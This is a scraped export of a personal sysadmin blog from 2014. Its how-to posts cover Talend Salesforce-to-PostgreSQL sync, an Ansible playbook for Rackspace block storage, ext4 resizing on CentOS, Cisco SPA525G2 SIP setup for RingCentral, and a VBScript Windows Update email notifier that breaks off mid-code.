<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-83957458324508607882014-09-21T16:10:00.002-04:002014-11-19T08:41:01.463-05:00Auto syncronize Salesforce data to MySQL or Postgresql with Talend Open StudioToday I'm writing about using <a href="https://www.talend.com/products/talend-open-studio" target="_blank">Talend Open Studio</a> to sync Salesforce data to MySQL or Postgresql databases.<br />
<br />
First of all, let's download and install <a href="https://www.talend.com/download/data-integration" target="_blank">Talend Open Studio for Data Integration</a>, make sure you already have Java installed.<br />
<br />
Next is unzip and run TOS_DI-macosx-cocoa as I'm using a Mac OS X, or TOS_DI-win-x86_64.exe if you're using Windows. <br />
It's based on Eclipse IDE so you'll see it's pretty easy if you used to work with Eclipse.<br />
<br />
Here is the main screen.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFZrvMv_VmTL9z0CpeEQ2wa6Nf6p6741EQrTYXwk7wNHaVhWvv5pFH6GgHZfD-615FQPyQMnKgGaT2DX-qcZHw9vmxDx0VUh8THDiQe3XfrK4Y6jWUvjyePiieKLLVJlopG6ymra-A-cLQ/s1600/1.+main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFZrvMv_VmTL9z0CpeEQ2wa6Nf6p6741EQrTYXwk7wNHaVhWvv5pFH6GgHZfD-615FQPyQMnKgGaT2DX-qcZHw9vmxDx0VUh8THDiQe3XfrK4Y6jWUvjyePiieKLLVJlopG6ymra-A-cLQ/s1600/1.+main.png" height="280" width="640" /></a></div>
<br />
Then we will need to create a database connection by expanding the <b>Metadata</b> node -> <b>Db connections</b> -> Right click -> <b>Create connection</b> -> enter a Name (without space) -> click Next button<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuHfWzJvltgXnMdwfkEHvNIt4_Z8EM5TLQL9SkEBOj3o6WRxGlHF6Ys8OwM5vaNhkE3oAiBfukRz9Mj54xMvqllVfP9z-AOdIfDDBLBVlMmWJwTVLM4Kq4Mk1nl06kpBy3FERNZ07Npowg/s1600/2.+create+db+connection+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuHfWzJvltgXnMdwfkEHvNIt4_Z8EM5TLQL9SkEBOj3o6WRxGlHF6Ys8OwM5vaNhkE3oAiBfukRz9Mj54xMvqllVfP9z-AOdIfDDBLBVlMmWJwTVLM4Kq4Mk1nl06kpBy3FERNZ07Npowg/s1600/2.+create+db+connection+1.png" height="288" width="640" /></a></div>
<br />
Then select <b>Db Type</b> (MySQL or Postgresql or whatever in the long list). I'm choosing Postgresql because MySQL limits row size to 65535. So if the table contains too much fields, it will throw out an error: <i>com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Row size too large. The maximum row size for the used table type, not counting BLOBs, is 65535. You have to change some columns to TEXT or BLOBs</i><br />
<br />
After enter all connection information, click Check button to make sure they are correct. Then Finish.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI9CO4FT6jdwL6V-clhMHuvXR5gFy3W7yvhwpf9m-7RG-_1XxguMRZQLEH9C2XD0waEf-ew5YyT8WaPuTjbzzRft0XWweILWSwbjMhFBnPq9427EXCuTJkDpcxfd-F7mVRH_E1i0BVsmBo/s1600/2.+create+db+connection+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI9CO4FT6jdwL6V-clhMHuvXR5gFy3W7yvhwpf9m-7RG-_1XxguMRZQLEH9C2XD0waEf-ew5YyT8WaPuTjbzzRft0XWweILWSwbjMhFBnPq9427EXCuTJkDpcxfd-F7mVRH_E1i0BVsmBo/s1600/2.+create+db+connection+2.png" height="592" width="640" /></a></div>
<br />
<br />
Next step is creating Salesforce connection. Let's right click the Salesforce node and select <b>Create Salesforce</b> connection. Enter a name then Next.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRf9IcOn7cjmYaSBvd9QJxdq0kz_r6Zv92hisORU3l1sIzW8aKktmYsGSfDnhZAC4zdq_1nY4-Lh-tpeQ50yM_O7MZ3VT5erzdt-bjA_ACxYMIvX-JIqORZMU-PIx_Tza451mXUhxI5Ssd/s1600/3.+create+salesforce+connection+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRf9IcOn7cjmYaSBvd9QJxdq0kz_r6Zv92hisORU3l1sIzW8aKktmYsGSfDnhZAC4zdq_1nY4-Lh-tpeQ50yM_O7MZ3VT5erzdt-bjA_ACxYMIvX-JIqORZMU-PIx_Tza451mXUhxI5Ssd/s1600/3.+create+salesforce+connection+1.png" height="264" width="640" /></a></div>
<br />
<br />
Enter the User name and Password. <i>The Password is combination of Salesforce password and the token. i.e if the Salesforce password is xyz and the token is 1234, then we enter xyz1234 on the Password field</i>. Then Check Login to make sure connection is valid. Then Finish.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sSEnmBMxIU9Du-ob20DhjIJ-yCjAGTzYeBQHETX_HiLdZ752VFpkFzFRS4njHvCZuu_pBF-zmqSBNvxWBAMjexALI1wjBIOxdRPBgVHFFksSzYFADOncv2qZP0r2twWNMEhkKkqgqM-A/s1600/3.+create+salesforce+connection+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sSEnmBMxIU9Du-ob20DhjIJ-yCjAGTzYeBQHETX_HiLdZ752VFpkFzFRS4njHvCZuu_pBF-zmqSBNvxWBAMjexALI1wjBIOxdRPBgVHFFksSzYFADOncv2qZP0r2twWNMEhkKkqgqM-A/s1600/3.+create+salesforce+connection+2.png" height="410" width="640" /></a></div>
<br />
Next step is retrieving Salesforce modules by right click on created Salesforce connection and select <b>Retrieve Salesforce modules.</b> Let's check for <b>Account</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTLRdDZd891i0aKipDSuoYzxEgXb9Y-DUVAxtRoCZ0Ws94A36QuZjar6BS5y6tHFC2S_XUkvKqClwLcsm9CL8tIjNmkParNtyRzjWvyil_eNQXJCSWeNqU-bGgZvY_Ra2Q6DDZy_EILqED/s1600/3.+create+salesforce+connection+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTLRdDZd891i0aKipDSuoYzxEgXb9Y-DUVAxtRoCZ0Ws94A36QuZjar6BS5y6tHFC2S_XUkvKqClwLcsm9CL8tIjNmkParNtyRzjWvyil_eNQXJCSWeNqU-bGgZvY_Ra2Q6DDZy_EILqED/s1600/3.+create+salesforce+connection+3.png" height="350" width="640" /></a></div>
<br />
<br />
Then we will need to create a job to import Salesforce data into the database. Right click on <b>Job Design</b> node, select <b>Create Jobs</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByGgN-8mnz0FPw5ST_bUaf68Avdka7vKu8tO7cX-UYFbzoTf0Fpx-Qer7Hj82bM8MTaTkABChGwPCtf3jQajkhTlLBiCu-d_sjqbTtDqGu3K1xqaPQogmzwdldmBRLdlZ4Sfm25qgQc2Q/s1600/4.+new+job+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByGgN-8mnz0FPw5ST_bUaf68Avdka7vKu8tO7cX-UYFbzoTf0Fpx-Qer7Hj82bM8MTaTkABChGwPCtf3jQajkhTlLBiCu-d_sjqbTtDqGu3K1xqaPQogmzwdldmBRLdlZ4Sfm25qgQc2Q/s1600/4.+new+job+1.png" height="378" width="640" /></a></div>
<br />
Then job design screen is opened and we will expand the Salesforce <b>Account</b> module to drag/drop the <b>Account</b> table into the job design screen as <b>tSalesforceInput</b> component.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBJ8RZNl9byASw7ea0D1xlwbV3Z_QDHCDRE_nU_NcRX95P_8iaFOGysp6_T66Tq53UCb-YFIOM8jJ4nGEMyPwd8SX4u5EclBfDcN7YOnB78YMc18MlFsdT6aEhtJSlUNx2RZEEuSUVA7JF/s1600/4.+new+job+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBJ8RZNl9byASw7ea0D1xlwbV3Z_QDHCDRE_nU_NcRX95P_8iaFOGysp6_T66Tq53UCb-YFIOM8jJ4nGEMyPwd8SX4u5EclBfDcN7YOnB78YMc18MlFsdT6aEhtJSlUNx2RZEEuSUVA7JF/s1600/4.+new+job+2.png" height="364" width="640" /></a></div>
<br />
Click OK then we have it on the screen<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinfRqFVLjodYL_itTu9BDgPFgFXXYnirC1t86q3Geg5V4WdmAVWI2dgUNXXrLnmH2C-syBvssIpoZaVp3nsruOHVble0Sdd4QIshTeKmKzdyH-PjKqhsyQvpmyX2G04WcCn7Hr2agbRhb5/s1600/4.+new+job+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinfRqFVLjodYL_itTu9BDgPFgFXXYnirC1t86q3Geg5V4WdmAVWI2dgUNXXrLnmH2C-syBvssIpoZaVp3nsruOHVble0Sdd4QIshTeKmKzdyH-PjKqhsyQvpmyX2G04WcCn7Hr2agbRhb5/s1600/4.+new+job+3.png" height="350" width="640" /></a></div>
<br />
Next step is search for database output component on the <b>Palette</b> box, then drag/drop <b>tPostgresqlOutput</b> component into the screen<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5szT21VsPzGDaHvkwZ6vrHfrYpZBJjsA1D-uuVgL2MTp_W08U4gVf8KV_9TRQTZ9x6AoYUqM25TKhz-ttwmjUmrTieLLu7gF6FYbjBM7sTyLAfyyJeY3LxgLOwpgB7ElRL8OCAt01u7HU/s1600/4.+new+job+4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5szT21VsPzGDaHvkwZ6vrHfrYpZBJjsA1D-uuVgL2MTp_W08U4gVf8KV_9TRQTZ9x6AoYUqM25TKhz-ttwmjUmrTieLLu7gF6FYbjBM7sTyLAfyyJeY3LxgLOwpgB7ElRL8OCAt01u7HU/s1600/4.+new+job+4.png" height="314" width="640" /></a></div>
<br />
Then we might need to rename it as "<i>account</i>" and click the inside icon to set its properties<br />
Select Repository on Property Type , then select created Postgresql connection - <i>DB (POSTGRESQL):PosgressqlSalesforce </i><br />
All connection information automatically filled out. Except Table - enter <b>"account"</b> here, then select <b>Create table if does not exist </b>for <b>Action for table</b>, and <b>Insert</b> for <b>Action for data</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSbrKEuBzkym335-XH-C7Fv_9kRYjAjlnwMFxg4mPS0pPchmJhoMM9jO8kNwV3ZOYIK0HYviyUa7Wh-AatInyaXFl7ZcTGSUVMPt0T2_G6SKV7PpcTfOIDFrqo4mTI3yTERdCnfXKKmCfW/s1600/4.+new+job+5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSbrKEuBzkym335-XH-C7Fv_9kRYjAjlnwMFxg4mPS0pPchmJhoMM9jO8kNwV3ZOYIK0HYviyUa7Wh-AatInyaXFl7ZcTGSUVMPt0T2_G6SKV7PpcTfOIDFrqo4mTI3yTERdCnfXKKmCfW/s1600/4.+new+job+5.png" height="466" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Next step is linking between Salesforce input and Postgresql output by right click on Salesforce input's icon and select <b>Row</b> -> <b>Main</b>, then wire the connection to the Postgresql output's icon<br />
and <b>Run</b> the job.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigO9AClBmEqJVIz6fuSNuXGkgG6Vp_j33jVpPyJL5LORZFPwVZaeC0hIDmDtcrEvZgey0u5vqPbdAT7_kfj-4Yiekr1bbhXJgRGT092S5CDRt-1ItephfuB7sae1usu8E8LqwsRMv_Xlnn/s1600/5.+run+job.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigO9AClBmEqJVIz6fuSNuXGkgG6Vp_j33jVpPyJL5LORZFPwVZaeC0hIDmDtcrEvZgey0u5vqPbdAT7_kfj-4Yiekr1bbhXJgRGT092S5CDRt-1ItephfuB7sae1usu8E8LqwsRMv_Xlnn/s1600/5.+run+job.png" height="508" width="640" /></a></div>
<br />
Then let's check the Postgresql to see the new account table is created with data from Salesforce<br />
Then double the Postgrsql account output to edit its properties, select <b>Insert or Update</b> for <b>Action on data</b> and click <b>Edit schema</b> button, then select the checkbox <b>Key</b> on the <b>Id</b> column of account Output<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNFehgGNXxdM1OjDfpketMBEdzEQrrD-1jlwd3OWykULOgQwiBhPmsiT07fEhIjiwvMhqHye7G9czoXHqftnXCclxckwPAvjql9hNyfyoV-OTggf6i6iKgDiWjfv4fbFin7L1TkwsYcbiz/s1600/5.+edit+job.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNFehgGNXxdM1OjDfpketMBEdzEQrrD-1jlwd3OWykULOgQwiBhPmsiT07fEhIjiwvMhqHye7G9czoXHqftnXCclxckwPAvjql9hNyfyoV-OTggf6i6iKgDiWjfv4fbFin7L1TkwsYcbiz/s1600/5.+edit+job.png" height="376" width="640" /></a></div>
<br />
Then we might run the job again. <br />
We might repeat those steps to sync other tables.<br />
<br />
Now if we want to execute the job automatically by schedule / cron, we will need to build the job.<br />
Right click on the job node, select <b>Build Job</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirMd9Nehs3ZgfjqgA0mYUbotl2IvVDMQ9kmy3Y3HDxXbMks-nqoar64a4mQHSzANRfpoDHEcU6MJcpgVFKOYSTipoGwnSYhY1AK3WrM18Eh_u6ZcLJ36wt6jG42lZ2SLdNKjSt07bCP3Hz/s1600/6.+build+job.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirMd9Nehs3ZgfjqgA0mYUbotl2IvVDMQ9kmy3Y3HDxXbMks-nqoar64a4mQHSzANRfpoDHEcU6MJcpgVFKOYSTipoGwnSYhY1AK3WrM18Eh_u6ZcLJ36wt6jG42lZ2SLdNKjSt07bCP3Hz/s1600/6.+build+job.png" height="398" width="640" /></a></div>
<br />
<br />
Then unzip the file, explore to the sub folder sync, we will see <i>sync_run.sh</i> or <i>sync_run.bat </i>(or jobName_run.bat/.sh) that will be called in schedule / cron.<br />
<br />
So we are done!<br />
<br />
FYI, here is the <a href="http://www.talend.com/resources/podcast-videocast/integrating-with-salesforce" target="_blank">videocast</a> to show you how to sync from database to Salesforce.<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com4tag:blogger.com,1999:blog-5807672428142416405.post-16649530336838878422014-09-13T16:56:00.000-04:002014-11-19T08:40:32.063-05:00Automate Rackspace Cloud Block Storage volume creation with AnsibleToday I want to automate Rackspace Cloud Block Storage volume creation with Ansible for Rackspace instances.<br />
<br />
To do that, we will need <a href="http://docs.ansible.com/guide_rax.html" target="_blank">rax modules</a> that requires to install pyrax.<br />
<br />
After pyrax is installed, then I tested to create a block storage volume with the module <a href="http://docs.ansible.com/rax_cbs_module.html" target="_blank">rax_cbs </a><br />
and that thrown out an error:<br />
<b>msg: pyrax is required for this module</b><br />
<br />
That's interesting. I checked the python path and tested pyrax:<br />
<br />
$<i> which python</i><br />
/usr/local/bin/python<br />
<br />
<i> $ python</i><br />
Python <b>2.7.7</b> (default, Jun 18 2014, 16:33:32) <br />
[GCC 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2335.9)] on darwin<br />
Type "help", "copyright", "credits" or "license" for more information.<br />
>>> import pyrax<br />
>>> <br />
<br />
Checked the ansible python path<br />
<i>$ head /usr/local/bin/ansible</i><br />
#!/usr/local/opt/python/bin/python2.7<br />
<br />
Found both python and /usr/local/opt/python/bin/python2.7 are symbolic links
of
/usr/local/Cellar/python/2.7.7_2/Frameworks/Python.framework/Versions/2.7/bin/python2.7.<br />
<br />
Google around but can't find the answer.<br />
<br />
Finally verified the module rax_cbs:<br />
<i>$ head /usr/share/ansible/cloud/rax_cbs </i><br />
#!/usr/bin/python<br />
<br />
Then:<br />
<i>$ /usr/bin/python </i><br />
Python <b>2.6.1</b> (r261:67515, Jun 24 2010, 21:47:49) <br />
[GCC 4.2.1 (Apple Inc. build 5646)] on darwin<br />
Type "help", "copyright", "credits" or "license" for more information.<br />
>>> import pyrax<br />
Traceback (most recent call last):<br />
File "<stdin>", line 1, in <module><br />
ImportError: No module named pyrax<br />
<br />
That's why it didn't work! <i>/usr/bin/python</i> is built-in python on Mac OS X while 2.7.7 was installed via Homebrew to different path.<br />
<br />
So let's set the ansible_python_interpreter for localhost that is used by rax modules in the ansible/hosts file:<br />
<i>[local]</i><br />
<i>localhost ansible_connection=local ansible_python_interpreter=/usr/local/opt/python/bin/python2.7</i><br />
<br />
But then got another error:<br />
<b>msg: No CloudBlockStorageVolume matching</b><br />
<br />
Found the <a href="https://github.com/ansible/ansible/commit/b1d76b37db1b3e93651b92ab849ed44c69ddc1b2" target="_blank">answer</a> to patch the /usr/share/ansible/cloud/rax_cbs<br />
<br />
Voila!<br />
<br />
I also want to attach the volume to the instance, then fdisk/create partition/format/mount it automatically.., so we have to check if the device already exist or not, if not then create/attach a Cloud Block Storage volume and fdisk/create partition/format..<br />
<br />
Below is the playbook.<br />
<br />
Note that this playbook will be executed for remote Rackspace instances so we don't need to set hosts/connection for Rackspace build/attach block storage volume tasks as the <a href="http://docs.ansible.com/rax_cbs_module.html" target="_blank">example</a> when the local_action module already delegates to the localhost defined in ansible/hosts automatically.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> # file:Rackspace_disk/tasks/main.yml
- name: Check if device /dev/xvd_ present
shell: fdisk -l | grep 'Disk {{device}}' | wc -l
changed_when: False
register: device_present
- name: Build a Block Storage Volume
local_action:
module: rax_cbs
credentials: "{{credentials}}"
name: "{{volum_name}}"
volume_type: "{{volum_type}}"
size: "{{volum_size}}"
region: "{{region}}"
wait: yes
state: present
meta:
app: "{{volum_name}}"
sudo: no
when: device_present.stdout is defined and device_present.stdout|int == 0
- name: Attach a Block Storage Volume
local_action:
module: rax_cbs_attachments
credentials: "{{credentials}}"
volume: "{{volum_name}}"
server: "{{server}}"
device: "{{device}}" #/dev/xvd_
region: "{{region}}"
wait: yes
state: present
sudo: no
when: device_present.stdout is defined and device_present.stdout|int == 0
- name: Check if partition /dev/xvd_1 present
shell: fdisk -l | grep {{device}}1 | wc -l
changed_when: False
register: partition_present
- name: Fdisk / create partition / format
shell: "echo -e 'n\np\n1\n\n\nw\n' | fdisk {{device}} && mkfs -t {{fstype}} {{device}}1 && tune2fs -m 0 {{device}}1 "
when: partition_present.stdout is defined and partition_present.stdout|int == 0
- file: path={{mount_dir}} state=directory
- name: Mount device
mount: name={{mount_dir}} src={{device}}1 fstype={{fstype}} opts='defaults,noatime,nofail' state=mounted
</code></pre>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com2tag:blogger.com,1999:blog-5807672428142416405.post-54590030475265132902014-08-23T13:53:00.000-04:002014-11-19T08:43:38.782-05:00Resize ext4 partition on CentOS 5When trying to resize an ext4 partition on CentOS 5, I got an error:<br />
<br />
$ <i>resize2fs /dev/sdf</i><br />
resize2fs 1.39 (29-May-2006)<br />
resize2fs: Filesystem has unsupported feature(s) while trying to open /dev/sdf<br />
Couldn't find valid filesystem superblock.<br />
<br />
Google around and found out we must use resize4fs instead<br />
<br />
$ <i>resize4fs /dev/sdf</i><br />
resize4fs 1.41.12 (17-May-2010)<br />
Filesystem at /dev/sdf is mounted on /opt; on-line resizing required<br />
old desc_blocks = 5, new_desc_blocks = 7<br />
Performing an on-line resize of /dev/sdf to 26214400 (4k) blocks.<br />
<br />
Similarly, we will use <i>fsck.ext4, tune4fs</i> for ext4<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-43894515928873084102014-08-09T16:58:00.000-04:002014-09-20T16:59:53.044-04:00Cisco SPA525G2 SIP configuration over wireless connectionWe bought a new Cisco SPA525G2 phone to use wireless and need to setup it with RingCentral.<br />
<br />
It's pretty simple so we don't need provisioning via private TFTP server like old Cisco 7940/7960 phones.<br />
<br />
Below is how I made it work.<br />
<br />
1. Config the phone to connect the wireless router. (since I work from home so need someone in the office helping on this).<br />
<br />
2. Remote to a PC in the same phone's network, open the browser and enter the phone's IP address.<br />
If it asks user/password to login, enter: admin / (blank password)<br />
<br />
3. Config the phone:<br />
Suppose the RingCentral provides provision information:<br />
SIP Domain<span class="Apple-tab-span" style="white-space: pre;"> </span><i>sip.ringcentral.com:5060</i><br />
Outbound Proxy<span class="Apple-tab-span" style="white-space: pre;"> </span><i>sip10.ringcentral.com:5090</i><br />
User Name<span class="Apple-tab-span" style="white-space: pre;"> </span><i>14151234567</i><br />
Password<span class="Apple-tab-span" style="white-space: pre;"> </span><i>aPassword</i><br />
Authorization ID<span class="Apple-tab-span" style="white-space: pre;"> </span><i>0123456789</i><br />
<br />
On the Cisco admin UI, click the Advance on bottom of the page.<br />
<div>
<br /></div>
<b>Menu Provisioning</b><br />
Provision Enable: <b>No</b><br />
<br />
<b>Menu Voice > Ext 1</b><br />
SIP Transport: <b>TCP</b><br />
Proxy: <i>sip.ringcentral.com:5060</i><br />
Outbound Proxy:<span class="Apple-tab-span" style="white-space: pre;"> </span><i>sip10.ringcentral.com:5090</i><br />
Use Outbound Proxy: <b>Yes</b><br />
Display Name: a name<br />
User ID: <i>14151234567</i><br />
Password: <i>aPassword</i><br />
Use Auth ID: <b>Yes</b><br />
Auth ID: <i>0123456789</i><br />
<br />
<b>Menu System</b><br />
Primary NTP Server: 0.north-america.pool.ntp.org<br />
Secondary NTP Server: 1.north-america.pool.ntp.org<br />
<br />
Click "Submit All Changes"<br />
<br />
Then check the phone status to see if the line 1 is Registered or not.Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com1tag:blogger.com,1999:blog-5807672428142416405.post-36265124110991829342014-07-09T12:43:00.000-04:002014-11-19T08:42:10.202-05:00Windows update automatic e-mail notificationWhen managing Windows servers, I looked for a way to check update and notificate automatically via email like yum-cron on Redhat/CentOS and found one <a href="http://www.tachytelic.net/2007/08/windows-update-automatic-e-mail-notification/" target="_blank">here</a>. Thank you Paulie.<br />
<br />
Though it's written in 2007 but is still working well for Windows 2012 servers.<br />
<br />
Below is my modification to categorize MsrcSeverity to Important when it's blank and use Gmail SMTP with authentication.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyhcxrhVr6gLZ95uEx8zFG8PoPcp8Tpe6IzsDflssZxqeMVt4wM5rIzlfpJHp4SiV7b8bnmJ21M3PIvE3VWlx6KjjBKhb6VGOYZTMahCrYFA7lfQTYrSCQ47-P3wlqmG0mqj5eIlSOoxIo/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> '==========================================================================
' NAME: Windows update automatic e-mail notification
' AUTHOR: Paul Murana, Accendo Solutions
' DATE : 26/08/2007
' MODIFIED: Luan Nguyen - 7/8/2014
'==========================================================================
'Change these variables to control which updates trigger an e-mail alert
'and to configure e-mail from/to addresses
AlertCritical = 1
AlertImportant = 1
AlertModerate = 0
AlertLow = 0
EmailFrom = "from.email@gmail.com"
EmailTo = "to.email@gmail.com"
<i>smtpserver = "smtp.gmail.com"
smtpserverport = 465
smtpauthenticate = 1
sendusername = "from.email@gmail.com"
sendpassword = "password"
smtpusessl = 1 </i>
'==========================================================================
Set fso = CreateObject("Scripting.FileSystemObject")
Set updateSession = CreateObject("Microsoft.Update.Session")
Set updateSearcher = updateSession.CreateupdateSearcher()
Set oShell = CreateObject( "WScript.Shell" )
computername = oShell.ExpandEnvironmentStrings("%ComputerName%")
DomainName = oShell.ExpandEnvironmentStrings("%userdomain%")
EMailSubject = "Windows Update Notification - " & DomainName & "\" & computername
Set oshell = Nothing
Set searchResult = updateSearcher.Search("IsInstalled=0 and Type='Software'")
If searchResult.Updates.count > 0 Then
For I = 0 To searchResult.Updates.Count-1
Set update = searchResult.Updates.Item(I)
Select Case update.MsrcSeverity
Case "Critical"
CriticalCount = Criticalcount+1
CriticalHTML = CriticalHTML & MakeHTMLLine(update)
Wscript.Echo update.MsrcSeverity & " : " & update, vbCRLF
Case "Moderate"
ModerateCount = Moderatecount + 1
ModerateHTML = ModerateHTML & MakeHTMLLine(update)
Wscript.Echo update.MsrcSeverity & " : " & update, vbCRLF
Case "Low"
Lowcount = Lowcount + 1
LowHTML = LowHTML & MakeHTMLLine(update)
Wscript.Echo update.MsrcSeverity & " : " & update, vbCRLF
<i> Case Else '"Important" or blank
</i> ImportantCount = Importantcount + 1
ImportantHTML = ImportantHTML & MakeHTMLLine(update)
Wscript.Echo "Important : " & update, vbCRLF
end select
Next
If searchResult.Updates.Count = 0 Then
Wscript.Echo "No updates :)"
WScript.Quit
Else
If (AlertCritical=1 and CriticalCount > 0) then SendEmail=1 end if
If (AlertImportant=1 and ImportantCount > 0) then SendEmail=1 end if
If (AlertModerate=1 and ModerateCount > 0) then SendEmail=1 end if
If (AlertLow=1 and LowCount > 0) then SendEmail=1 end If
<i>if SendEmail=1 and smtpserver <> "" Then </i>
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = EMailSubject
objMessage.From = EmailFrom
objMessage.To = EmailTo
objMessage.HTMLBody = ReplaceHTMLTemplate()
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
<i>Flds.Item(schema & "smtpserver") = smtpserver
Flds.Item(schema & "smtpserverport") = smtpserverport
Flds.Item(schema & "smtpauthenticate") = smtpauthenticate
if smtpauthenticate = 1 and sendusername <> "" and sendpassword <> "" then
Flds.Item(schema & "sendusername") = sendusername
Flds.Item(schema & "sendpassword") = sendpassword
end if </i>
<i> Flds.Item(schema & "smtpusessl") = smtpusessl
</i> Flds.Update
Set objMessage.Configuration = iConf
objMessage.Send
set objMessage = nothing
set iConf = nothing
set Flds = nothing
Wscript.Echo "Email sent to " & EmailTo, vbCRLF
end if
end If
End If
Function MakeHTMLLine(update)
HTMLLine="<tr><td>" & update.Title & "</td><td>" & update.description & "</td><td>"
counter =0
For Each Article in Update.KBArticleIDs
if counter > 0 then HTMLLine=HTMLLine & "<BR>"
HTMLLine=HTMLLine & "<a href=" & chr(34) & "http://support.microsoft.com/kb/" & article & "/en-us" & chr(34) & ">KB" & article & "</a>"
counter = counter +1
Next
For Each Info in Update.moreinfourls
if counter > 0 then HTMLLine=HTMLLine & "<BR>"
HTMLLine=HTMLLine & "<a href=" & chr(34) & info & chr(34) & ">" & "More information...</a>"
counter = counter +1
Next
HTMLLine = HTMLLine & "</td></tr>"
MakeHTMLLine = HTMLLine
End function
Function ReplaceHTMLTemplate()
Set HTMLFile = fso.opentextfile((fso.GetParentFolderName(WScript.ScriptFullName) & "\updatetemplate.htm"),1,false)
MasterHTML = HTMLFile.Readall
HTMLFile.close
MasterHTML = Replace(MasterHTML, "[criticalupdatecontents]", CriticalHTML)
MasterHTML = Replace(MasterHTML, "[importantupdatecontents]", ImportantHTML)
MasterHTML = Replace(MasterHTML, "[moderateupdatecontents]", ModerateHTML)
MasterHTML = Replace(MasterHTML, "[lowupdatecontents]", LowHTML)
MasterHTML = Replace(MasterHTML, "[computername]", Computername)
MasterHTML = Replace(MasterHTML, "[domainname]", domainname)
MasterHTML = Replace(MasterHTML, "[timenow]", now())
If (CriticalCount = 0) then
